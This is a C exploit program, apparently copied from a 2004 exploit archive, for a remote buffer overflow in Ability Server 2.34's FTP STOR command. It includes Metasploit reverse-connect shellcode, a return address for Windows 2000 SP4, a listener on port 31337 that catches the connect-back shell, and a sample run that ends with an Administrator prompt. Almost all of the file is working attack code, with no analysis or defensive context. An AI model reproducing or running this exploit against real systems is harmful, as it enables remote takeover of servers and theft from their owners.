/*
no@0x00:~/Exploits/abilityftp$ ./ability-exploit
**Ability Server 2.34 Remote buffer overflow exploit in ftp STOR by NoPh0BiA.**
[x] Launching listener.
[x] Bind successfull.
[x] Listening on port 31337.
[x] Connected to: 192.168.0.1.
[x] Sending bad code...done.
[x] Waiting for shell.
[x] Got connection from 192.168.0.1.
[x] 0wn3d!

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:Documents and SettingsAdministratorDesktopabilitywebserver>

 reverse shellcode that connects back to 192.168.0.2 lamers get your own shellcode ;)
 bad chars 0x00 0x0a 0x0d.
*/
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>

#define RET "xC7xF2xC8x77" /*win2k adv server sp4*/
#define PORT 21
#define PORT1 31337
#define BACKLOG 1

/* www.metasploit.com*/
char shellcode[] =
"xd9xeexd9x74x24xf4x5bx31xc9xb1x5ax81x73x17x92x8e"
"xe9x41x83xebxfcxe2xf4x6ex66xbfx41x92x8exbax14xc4"
"xd9x62x2dxb6x96x62x04xaex05xbdx44xeax8fx03xcaxd8"
"x96x62x1bxb2x8fx02xa2xa0xc7x62x75x19x8fx07x70x6d"
"x72xd8x81x3exb6x09x35x95x4fx26x4cx93x49x02xb3xa9"
"xf2xcdx55xe7x6fx62x1bxb6x8fx02x27x19x82xa2xcaxc8"
"x92xe8xaax19x8ax62x40x7ax65xebx70x52xd1xb7x1cxc9"
"x4cxe1x41xccxe4xd9x18xf6x05xf0xcaxc9x82x62x1ax8e"
"x05xf2xcaxc9x86xbax29x1cxc0xe7xadx6dx58x60x86x13"
"x62xe9x40x92x8exbex17xc1x07x0cxa9x8dx8exe9x41x02"
"x8fxe9x41x24x97xf1xa6x36x97x99xa8x7ex77x43x21x4b"
"x87x1cxecx59x63x15x7axc5xddxdbx1exa1xbcxe9x1ax1f"
"xc5xf1x10x6dx59x60x9ex1bx4dx64x34x86xe4xecx18xc3"
"xddx16x75x1dx71xbcx45xcbx07xedxcfx70x7cxc2x66xc6"
"x71xdexbexc7xa6xd8x81xc2xdexb9x11xd2xdexa9x11x6d"
"xdbxcdxc8x55xe6x29xe9x92x8cx81x43x92xf4x80xc8x73"
"xe4xf9x10xc5x71xbcx61xcbxd7x81x02xdfxcaxe9xc8x71"
"x09x13x70x52x03x95x65x3exe4xfcx18x61x25x6exbbx11"
"x62xbdx87xd6xaaxf9x05xf4x49xadx65xaex8fxe8xc8xee"
"xaaxa1xc8xeexaaxa5xc8xeexaaxb9xccxd6xaaxf9x15xc2"
"xdfxb8x10xd3xdfxa0x10xc3xddxb8xbexe7x8ex81x33x6c"
"x3dxffxbexc7x8ax16x91x1bx68x16x34x92xe6x44x98x97"
"x40x16x14x96x07x2ax2bx6dx71xdfxbex41x71x9cx41xfa"
"x7ex63x45xcdx71xbcx45xa3x55xbaxbex42x8exe9x41";

struct sockaddr_in hrm,lar,target;
void shell(int sock)
{
 fd_set fd_read;
 char buff[1024];
 int n;
 
 while(1) {
  FD_SET(sock,&fd_read);
  FD_SET(0,&fd_read);
 
  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
 
  if( FD_ISSET(sock, &fd_read) ) {
   n=read(sock,buff,sizeof(buff));
   if (n == 0) {
       printf ("Connection closed.n");
       exit(EXIT_FAILURE);
   } else if (n < 0) {
       perror("read remote");
       exit(EXIT_FAILURE);
   }
   write(1,buff,n);
  }
 
  if ( FD_ISSET(0, &fd_read) ) {
    if((n=read(0,buff,sizeof(buff)))<=0){
      perror ("read user");
      exit(EXIT_FAILURE);
    }
    write(sock,buff,n);
  }
 }
 close(sock);
}

int conn(char *ip)
{
 int sockfd;
 hrm.sin_family = AF_INET;
 hrm.sin_port = htons(PORT);
 hrm.sin_addr.s_addr = inet_addr(ip);
 bzero(&(hrm.sin_zero),8);
 sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&hrm,sizeof(struct sockaddr))) < 0)
{
 perror("connect");
 exit(0);
}
 printf("[x] Connected to: %s.n",ip);
 return sockfd;
}

int listener()
{
 int sd;
 lar.sin_family = AF_INET;
 lar.sin_port = htons(PORT1);
 lar.sin_addr.s_addr = INADDR_ANY;
 bzero(&(lar.sin_zero),8);
 sd = socket(AF_INET,SOCK_STREAM,0);
if((bind(sd,(struct sockaddr *)&lar,sizeof(struct sockaddr)))<0)
{
 perror("bind");
 exit(0);
}
 printf("[x] Bind successfull.n");
if((listen(sd,BACKLOG)) < 0)
{
 perror("listen");
 exit(0);
}
 printf("[x] Listening on port %d.n",PORT1);
 return sd;
}
int main(int argc, char *argv[])
{
 char *buffer=malloc(1387),*A=malloc(968),*B=malloc(32),*reply=malloc(200);
 int x,l,news,f;
 memset(A,0x41,968);
 strcat(buffer,A);
 memset(B,0x42,32);
 strcat(buffer,RET);
 strcat(buffer,B);
 strcat(buffer,shellcode);
 printf("**Ability Server 2.34 Remote buffer overflow exploit in ftp STOR by NoPh0BiA.**n");
 printf("[x] Launching listener.n");
 l = listener();
 x = conn("192.168.0.1");
 sleep(5);
 printf("[x] Sending bad code...");
 write(x,"USER larrnPASS larrn",20);
 sleep(3);
 write(x,"STOR ",5);
 write(x,buffer,strlen(buffer));
 write(x,"rnrn",4);
 sleep(3);
 printf("done.n");
 printf("[x] Waiting for shell.n");
 close(x);
while(1)
{
 news = sizeof(struct sockaddr_in);
if((f=accept(l,(struct sockaddr *)&target,&news)) < 0)
 {
  perror("accept");
  continue;
 }
printf("[x] Got connection from %s.n",inet_ntoa(target.sin_addr));
 if(!fork()){
 printf("[x] 0wn3d!nn");
 shell(f);
 close(f);
 exit(0);
}
 close(f);
}
 
}

// www.Syue.com [2004-11-07]